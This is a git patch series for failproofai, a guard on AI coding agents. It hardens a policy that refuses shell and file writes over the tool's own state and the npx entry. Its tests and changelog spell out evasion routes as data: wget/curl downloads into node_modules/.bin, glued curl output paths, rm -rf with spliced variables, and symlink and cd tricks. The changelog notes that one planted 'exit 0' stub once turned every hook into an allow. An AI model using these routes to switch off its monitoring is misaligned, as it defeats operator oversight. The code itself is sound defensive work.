=> /^-[A-Za-z]*t/.test(a) || a.startsWith("--target"))) return; + const operands = args.filter((a) => !a.startsWith("-")); + if (operands.length !== 2) return; + const [target, linkWord] = operands; + for (const base of [at, ...alts]) { + const link = absoluteFrom(base, linkWord.replace(/[\\/]+$/, "")); + if (link === undefined) continue; + const linkPath = /[\\/]$/.test(linkWord) ? `${link.plain}/${target.slice(target.lastIndexOf("/") + 1)}` : link.plain; + const resolved = target.startsWith("/") + ? shellPath(undefined, target) + : target === "~" || target.startsWith("~/") + ? shellPath(undefined, homedir() + target.slice(1)) + : shellPath(linkPath.slice(0, linkPath.lastIndexOf("/")) || "/", target); + links.set(linkPath, resolved); + } }; // A loop header hands its word list to the body, and the body is a separate @@ -2058,8 +2249,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // rm -rf $f; done` is a header that only expands and a body that only deletes // something called `$f`. let loopCarriesState = false; - for (const pipeline of command.split(PIPELINE_SEPARATORS)) { + const parts = command.split(new RegExp(`(${PIPELINE_SEPARATORS.source})`)); + for (let part = 0; part < parts.length; part += 2) { + const pipeline = parts[part]; + // A move the next command does not depend on may have failed, so from + // there on the directory before it is possible too. + if (part > 0 && parts[part - 1] !== "&&" && pending.length > 0) { + alts = possible([...pending, ...alts]); + pending = []; + } if (!pipeline.trim()) continue; + for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) values.set(name, value.replace(/^["']|["']$/g, "")); const simpleCommands = pipeline.split("|"); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; @@ -2085,14 +2285,20 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const expanded = words.map(expand); const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; const head = words.length > 0 ? commandBasename(words[0]) : ""; - // Track the shell's position before judging: a `cd` INTO the state makes - // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { - if (parenDepth > 0) { - shellDirScopes.push({ depth: parenDepth, at: here(), previous, stack: dirStack.slice() }); + // Every stage of a pipeline runs in a subshell of its own, so a `cd` + // there moves nothing the rest of the line sees. + if (simpleCommands.length === 1) { + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice() }); + } + moveShell(head, words.slice(1), expanded.slice(1)); } - moveShell(head, words.slice(1), expanded.slice(1)); - } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { + } else if ( + [at, ...alts].some((base) => + lists.some((list) => landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState)), + ) + ) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; @@ -2100,14 +2306,21 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) words.length > 0 && // Operands only: the command word is a program, not a path written to. // The line as written is `reachesState`; a word adds to it only by - // resolving from where the shell stands, or by what expansion made it. + // resolving from where the shell stands or through a symlink, or by + // what expansion made it. (reachesState || - words.some((word, k) => k > 0 && (resolvesOntoState(word) || (expanded[k] !== word && namesHere(expanded[k]))))) && + words.some( + (word, k) => + k > 0 && + (resolvesOntoState(word) || landsOnState(word) || (expanded[k] !== word && namesHere(expanded[k]))), + )) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; + } else if (head === "ln" && simpleCommands.length === 1) { + recordLink(expanded.slice(1)); } parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { @@ -2116,23 +2329,34 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } // Leaving a subshell puts back where the shell stood before it, inside // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. - while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { - const scope = shellDirScopes.pop()!; - shellDir = scope.at.dir; - lostTrack = scope.at.lost; - cwdInState = scope.at.inState; - cdParenDepth = cwdInState ? parenDepth : null; + while (scopes.length > 0 && parenDepth < scopes[scopes.length - 1].depth) { + const scope = scopes.pop()!; + at = scope.at; previous = scope.previous; + alts = scope.alts; + pending = scope.pending; dirStack.splice(0, dirStack.length, ...scope.stack); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; } } } return false; } -/** How much of the shell's directory the walk keeps; see `shellPath`. */ +/** How much of the shell's directory the walk reads words from; see `shellTail`. */ const SHELL_DIR_SEGMENTS = 16; +/** + * How much of the shell's whole path the walk keeps for a `..` that climbs + * above `SHELL_DIR_SEGMENTS` and for following symlinks. Bounded so that a + * script of a thousand `cd`s stays linear. + */ +const FULL_DIR_SEGMENTS = 256; + +/** How many directories a failed `cd` can leave the shell in that the walk tracks. */ +const MAX_ALTERNATE_DIRS = 4; + /** * Where a relative word is also read once the walk has lost the shell's * directory: the places an installed failproofai entry or package lives. Only @@ -3322,7 +3546,18 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // the session's directory, or the one an Antigravity `run_command` names. const toolCwd = ctx.toolInput?.cwd; const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; - if (destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd)) { + // The walk must not throw: a policy that throws is skipped by the evaluator, + // and for this one that is an allow. So a throw is a deny, said as one. + let destroys: boolean; + try { + destroys = destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd); + } catch (err) { + return deny( + "failproofai could not read this command to check it against its own files, so it is refused. " + + `Rewrite it more simply, or say so and let the operator decide. (${err instanceof Error ? err.message : String(err)})`, + ); + } + if (destroys) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", From a97fb8a3eb88d892deae34cdd9f098d82d3e1e1b Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:05:19 +0530 Subject: [PATCH 37/60] Keep 64 segments of the shell's whole path, and cut the tail without splitting 2,000 `;`-separated `cd`s into globs took 360 ms with 256 segments kept for each possible directory; 137 ms now. `shellTail` scans back from the end instead of splitting the whole path, with the same results. Co-Authored-By: Claude Opus 5.5 --- src/hooks/builtin-policies.ts | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 8ddda56f4..5b27d7023 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2352,7 +2352,7 @@ const SHELL_DIR_SEGMENTS = 16; * above `SHELL_DIR_SEGMENTS` and for following symlinks. Bounded so that a * script of a thousand `cd`s stays linear. */ -const FULL_DIR_SEGMENTS = 256; +const FULL_DIR_SEGMENTS = 64; /** How many directories a failed `cd` can leave the shell in that the walk tracks. */ const MAX_ALTERNATE_DIRS = 4; @@ -2432,8 +2432,13 @@ function shellPath(base: string | undefined, word: string): string { * later word it is joined to. */ function shellTail(path: string): string { - const parts = path.split("/"); - return parts.length > SHELL_DIR_SEGMENTS ? parts.slice(-SHELL_DIR_SEGMENTS).join("/") : path; + let cut = path.length; + for (let kept = 0; kept < SHELL_DIR_SEGMENTS; kept++) { + if (cut <= 0) return path; + cut = path.lastIndexOf("/", cut - 1); + if (cut < 0) return path; + } + return path.slice(cut + 1); } const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; From 79fb8e80ca7586d81276636fa644ec34114808d2 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:15:19 +0530 Subject: [PATCH 38/60] Refuse downloads and remote copies that write the npx entry MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `cd node_modules/.bin && wget https://…/failproofai` plants the entry with `.bin/failproofai` nowhere on the line: wget, and curl with `-O` / `--remote-name`, name the file after the URL, in `-P` / `--directory-prefix`, `--output-dir` or the current directory. Those landings are judged like a copy's, and a download whose name the server picks (`--content-disposition`, `-J`) or a file lists (`-i`) is refused when it lands in npm's `.bin`. `scp`, and a remote rsync source (`host:failproofai`), copy like `cp`. An output file glued to its option (`curl -o`, `curl -so`) was not read as a write at all, which also let `curl -so~/.failproofai/policies-config.json ` past the state guard. The `.bin` match also follows an option cluster (`-so.bin/…`). Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 44 +++++++ src/hooks/builtin-policies.ts | 134 ++++++++++++++++++-- 3 files changed, 171 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 51bf45466..41df31957 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close four ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 05d0ad1fa..dc0bbe6c2 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -393,6 +393,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + // The same path glued to the last option of a cluster. + ["/work/proj/node_modules", "curl -so.bin/failproofai https://example.com/x"], ])("denies a write from the session directory %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -416,6 +418,48 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).toBe("deny"); }); + // A download names its file after the URL, so the line never spells the + // entry's path; scp and a remote rsync source copy like cp. + it.each([ + ["/work/proj/node_modules/.bin", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -q example.com/dl/failproofai"], + ["/work/proj/node_modules/.bin", "curl -sSLO https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl -O https://example.com/failproofai%2Ecmd"], + // The server picks the name, or a file lists the URLs. + ["/work/proj/node_modules/.bin", "curl -OJ https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget --content-disposition https://example.com/download"], + ["/work/proj/node_modules/.bin", "wget -i urls.txt"], + ["/work/proj/node_modules/.bin", "wget -r -nd https://example.com/dl/"], + ["/work/proj", "wget -P node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget -qPnode_modules/.bin https://example.com/failproofai"], + ["/work/proj", "wget --directory-prefix=node_modules/.bin https://example.com/failproofai"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/failproofai"], + ["/work/proj", "cd node_modules/.bin && wget https://example.com/failproofai"], + ["/work/proj", "scp host:failproofai node_modules/.bin/"], + ["/work/proj", "scp -T user@host:/tmp/failproofai node_modules/.bin/"], + ["/work/proj", "rsync host:failproofai node_modules/.bin/"], + // An output file glued to its option, alone or after a cluster. + ["/work/proj", "curl -sonode_modules/.bin/failproofai https://example.com/x"], + ["/work/proj", "curl -so~/.failproofai/policies-config.json https://example.com/x"], + ])("denies a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj", "wget https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget https://example.com/my-tool"], + ["/work/proj", "curl -O https://registry.npmjs.org/failproofai/-/failproofai-1.0.0.tgz"], + ["/work/proj/node_modules/.bin", "curl -o /tmp/x https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "curl https://example.com/failproofai"], + ["/work/proj/node_modules/.bin", "wget -r https://example.com/docs/"], + ["/work/proj", "curl -OJ https://example.com/download"], + ["/work/proj", "scp ./failproofai host:node_modules/.bin/"], + ["/work/proj", "scp -r host:project ./backup"], + ["/work/proj", "wget -qO- https://example.com/api | jq ."], + ])("allows a download or remote copy from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 5b27d7023..87244b6f5 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -542,11 +542,12 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // relative `.bin/failproofai` a command run from inside `node_modules` // names is the same file. `.bin` must start a path component, so // `firmware.bin/failproofai` is not it, but anything that is not part of a - // name may stand before it (`>.bin/…`), and so may a glued short option - // (`-O.bin/…`). A FILE, like the entry above: the rest of + // name may stand before it (`>.bin/…`), and so may a short option the + // path is glued to, alone or at the end of a cluster (`-O.bin/…`, + // `-so.bin/…`). A FILE, like the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`(?:(?(Object.entr "version", "whole-file", "write-devices", "xattrs", ], }, + // OpenSSH 9's `scp` synopsis: no long options. + scp: { short: "cDFiJloPSX", values: [], flags: [] }, } satisfies Record)); /** @@ -1663,8 +1667,8 @@ function landsInDirectoryAs( if (flag === "t" && head !== "rsync") directory = value; break; } - if (flag === "r" || flag === "R" || flag === "a") recursive = true; - if (flag === "T" && head !== "rsync") ontoItself = true; + if (flag === "r" || ((flag === "R" || flag === "a") && head !== "scp")) recursive = true; + if (flag === "T" && head !== "rsync" && head !== "scp") ontoItself = true; if (flag === "d" && head === "install") createsDirectories = true; } continue; @@ -1677,6 +1681,8 @@ function landsInDirectoryAs( const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); if (written === undefined || sources.length === 0) return false; + // `host:path` is somewhere else's disk. + if (head === "scp" && /^[^/\\]{2,}:/.test(written)) return false; const destination = inShell(written); if (directory === undefined && (namesState(destination) || landsOnState(written))) return true; const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); @@ -1701,7 +1707,9 @@ function landsInDirectoryAs( // A trailing separator keeps the directory's own name everywhere but rsync, // where `src/` means what is in it. if (head === "rsync" && /[\\/]$/.test(source)) return false; - const name = baseName(source.replace(/[\\/]+$/, "")); + // A remote source (`host:path`) lands under the name after the host. + const local = head === "scp" || head === "rsync" ? source.replace(/^[^/\\]{2,}:/, "") : source; + const name = baseName(local.replace(/[\\/]+$/, "")); if (name === "" || name === "." || name === "..") return false; if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; @@ -1836,10 +1844,107 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st if (long && namesState(arg)) return true; const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; + // Or the value glued on, after the option alone or at the end of a + // cluster: `curl -o`, `curl -so`. + if (/^-[A-Za-z]/.test(arg)) { + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (flags.includes(`-${arg[c]}`) && namesState(arg.slice(c + 1))) return true; + } + } } return false; } +/** wget's short options that take a value (`wget --help`, GNU Wget 1.21). */ +const WGET_VALUE_OPTIONS = "eoaiBtOTwQPlARDIXU"; + +/** curl's short options that take a value (`curl --help all`, curl 8). */ +const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; + +/** + * The files a download names after its URL rather than on the line, as + * `{dir, name}`: `wget `, and `curl -O` / `--remote-name`, save the URL's + * last segment into `-P` / `--directory-prefix` (wget), `--output-dir` (curl) + * or the current directory. So `cd node_modules/.bin && wget https://…/failproofai` + * writes the entry with `.bin/failproofai` nowhere on the line + * (FailproofAI/agenteye#1795). `name` is `null` when the server picks it + * (`--content-disposition`, `-J`), or the URLs come from a file (`-i`): then + * it could be anything, the entry's included. A name the line gives (`-O` + * for wget, `-o` for curl) is judged with the other operands, and a recursive + * wget puts what it fetches under a directory named after the host. + */ +function downloadLandings(words: string[]): Array<{ dir: string; name: string | null }> { + const head = words.length > 0 ? commandBasename(words[0]) : ""; + if (head !== "wget" && head !== "curl") return []; + const valueOptions = head === "wget" ? WGET_VALUE_OPTIONS : CURL_VALUE_OPTIONS; + let dir = "."; + let urlNamed = head === "wget"; + let serverNamed = false; + let named = false; + let recursive = false; + let flat = false; + const urls: string[] = []; + const args = words.slice(1); + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + urls.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + if (name === "directory-prefix" || name === "output-dir") dir = value ?? args[++i] ?? dir; + else if (name === "output-document" || name === "spider") named = true; + else if (name === "remote-name" || name === "remote-name-all") urlNamed = true; + else if (name === "content-disposition" || name === "remote-header-name" || name === "input-file") serverNamed = true; + else if (name === "recursive" || name === "mirror" || name === "page-requisites" || name === "force-directories") recursive = true; + else if (name === "no-directories") flat = true; + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + // wget's two-letter `-n?` options (`-nd`, `-nH`, `-nc`, `-np`, `-nv`). + if (head === "wget" && /^-n[A-Za-z]$/.test(arg)) { + if (arg === "-nd") flat = true; + continue; + } + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (valueOptions.includes(flag)) { + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (head === "wget" && flag === "P") dir = value ?? dir; + if (head === "wget" && flag === "O") named = true; + if (head === "wget" && flag === "i") serverNamed = true; + break; + } + if (head === "curl" && flag === "O") urlNamed = true; + if (head === "curl" && flag === "J") serverNamed = true; + if (head === "wget" && "rmpx".includes(flag)) recursive = true; + } + continue; + } + urls.push(arg); + } + if (!urlNamed || named || (recursive && !flat)) return []; + if (serverNamed || recursive) return [{ dir, name: null }]; + const landings: Array<{ dir: string; name: string | null }> = []; + for (const url of urls) { + // The last segment of the path, without the scheme, host, query or + // fragment, as written and percent-decoded. + const path = url.replace(/^[A-Za-z][\w+.-]*:\/\/[^/?#]*/, "").replace(/[?#][\s\S]*$/, ""); + const last = path.slice(path.lastIndexOf("/") + 1); + let decoded = last; + try { + decoded = decodeURIComponent(last); + } catch { + // Not valid percent-encoding: the name as written is what lands. + } + for (const name of new Set([last, decoded])) if (name !== "") landings.push({ dir, name }); + } + return landings; +} + /** * True when `command` would delete, move or overwrite failproofai's own state. * @@ -2296,7 +2401,20 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } } else if ( [at, ...alts].some((base) => - lists.some((list) => landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState)), + lists.some( + (list) => + landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState) || + downloadLandings(list).some(({ dir, name }) => { + const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into); + const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; + return ( + namesState(fromBase(base, landing)) || + landsOnState(landing) || + (base.lost && relativeWord(dir) && couldBeEntryName(name)) + ); + }), + ), ) ) { // Before the `reachesState` gate, because the point is that nothing on From 5e673aedc9cddf23b342adafc6615cef91a78e99 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:23:41 +0530 Subject: [PATCH 39/60] Resolve shell writes as the kernel does, and never forget where a cd can leave the shell From CodeRabbit's second pass on #1058: - A write path is resolved on disk component by component, so a `..` after a link steps out of where the link points: `printf x > deep/../failproofai` with `deep` linked into `.bin` writes the entry. - A destination that links to npm's bin directory counts as it: copying a directory's contents, a glob or a server-named download into it, or a `.bin` directory moved into a linked `node_modules`. - More possible directories than the walk tracks no longer drop the oldest, which could be the session's own: the rest read as a directory the walk lost, where a relative path ending in the entry's name is refused. - `$PWD` and `~+` are expanded for every place the shell may stand. - Tests quote the fixture path they cd into, and the OpenCode check ties the `-y failproofai` arguments to the `npx` launcher. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 45 ++++++++- src/hooks/builtin-policies.ts | 106 ++++++++++++++------ 2 files changed, 114 insertions(+), 37 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index dc0bbe6c2..19e3cd2e1 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -110,11 +110,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs beforeAll(() => { root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); - mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "node_modules", ".bin", "sub"), { recursive: true }); mkdirSync(join(root, "proj", "tools"), { recursive: true }); // Neither link's own path says anything about failproofai or `.bin`. symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + // A link into a directory below `.bin`, and one to `node_modules`. + symlinkSync(join(root, "proj", "node_modules", ".bin", "sub"), join(root, "proj", "tools", "deep")); + symlinkSync(join(root, "proj", "node_modules"), join(root, "proj", "nm")); }); afterAll(() => { @@ -143,12 +146,30 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "cp /tmp/stage/failproofai tools/bins/", "tee tools/bins/failproofai < /tmp/stub.sh", "printf x > tools/hook", + // A `..` after a link steps out of where the link points, as the + // kernel resolves it, not out of the link's own directory. + "printf x > tools/deep/../failproofai", + "cp /tmp/stub.sh tools/deep/../failproofai", + // What a copy puts INTO a linked bin directory: contents, a glob, a + // name the server picks. + "cp -r /tmp/stage/. tools/bins/", + "cp -rT /tmp/stage tools/bins", + "cp /tmp/stage/* tools/bins/", + "curl --output-dir tools/bins -OJ https://example.com/dl", + // A directory named `.bin` moved into a linked `node_modules`. + "mv /tmp/x/.bin nm/", ])("denies a shell write through a link: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).toBe("deny"); - expect(await bash(`cd ${join(root, "proj")} && ${command}`)).toBe("deny"); + expect(await bash(`cd '${join(root, "proj")}' && ${command}`)).toBe("deny"); }); - it.each(["printf x > tools/bins/my-script", "cat tools/bins/failproofai", "ls -la tools/bins/ > listing.txt"])( + it.each([ + "printf x > tools/bins/my-script", + "cat tools/bins/failproofai", + "ls -la tools/bins/ > listing.txt", + "printf x > tools/deep/../my-tool", + "cp -r /tmp/stage/. out/", + ])( "still allows shell work through a link: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); @@ -414,6 +435,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules/.bin", "cd a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q && cp /tmp/x ../../../../../../../../../../../../../../../../../failproofai"], ["/work/proj", "ln -s node_modules/.bin bins; cp /tmp/stub.sh bins/failproofai"], ["/work/proj", "ln -sfn node_modules/.bin bins && cp /tmp/failproofai bins/"], + // More possible directories than the walk tracks: the oldest is not + // forgotten, so a failed first cd still leaves the shell in .bin. + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e; printf x > failproofai"], + ["/work/proj/node_modules/.bin", "cd /a && cd /b && cd /c && cd /d && cd /e && cd /f && cd /g && cd /h && cd /i; printf x > failproofai"], + // `$PWD` and `~+` are wherever the shell may stand. + ["/work/proj/node_modules/.bin", 'cd /tmp; printf x > "$PWD/failproofai"'], + ["/work/proj/node_modules/.bin", "cd /tmp; cp /tmp/stub.sh ${PWD}/failproofai"], + ["/work/proj/node_modules/.bin", "cd /tmp; printf x > ~+/failproofai"], ])("denies a write where the shell may still stand, from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -539,6 +568,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj", "cd /tmp; printf x > notes.txt"], ["/work/proj", "cd node_modules/.bin && ls -la && cd ../.. && rm -rf build"], ["/work/proj", "pushd /tmp && make && popd && rm -rf out"], + ["/work/proj", "cd a && cd b && cd c && cd d && cd e; rm -rf build"], + ["/work/proj", "cd a; make; cd ..; cd b; make; cd ..; cd c; make; cd ..; cd d; make; cd ..; cd e; make; cd ..; rm -rf dist"], + // After `&&` the cd has succeeded, so `$PWD` is where it went. + ["/work/proj/node_modules/.bin", 'cd /tmp && printf x > "$PWD/failproofai"'], ])("allows ordinary moves from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).not.toBe("deny"); }); @@ -620,7 +653,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs .find((integration) => integration.id === "opencode")! .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); - const spawned = [...shim.matchAll(/\["-y", "([^"]+)"/g)].map(([, name]) => name); + // The launcher and its arguments, tied to the same switch, so a shim that + // kept these arguments for another program would fail here. + expect(shim).toContain("const USE_NPX = true;"); + expect(shim).toMatch(/const cmd = USE_NPX \? "npx" :/); + const spawned = [...shim.matchAll(/USE_NPX\s*\?\s*\["-y", "([^"]+)"/g)].map(([, name]) => name); expect(spawned.length).toBeGreaterThan(0); for (const name of spawned) names.add(name); } finally { diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 87244b6f5..5c651e640 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1621,6 +1621,7 @@ function landsInDirectoryAs( inShell: (word: string) => string = (word) => word, lost = false, landsOnState: (written: string) => boolean = () => false, + isBinDir: (written: string) => boolean = () => false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1701,7 +1702,9 @@ function landsInDirectoryAs( !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || (recursive && head !== "rsync")); const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); - if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || 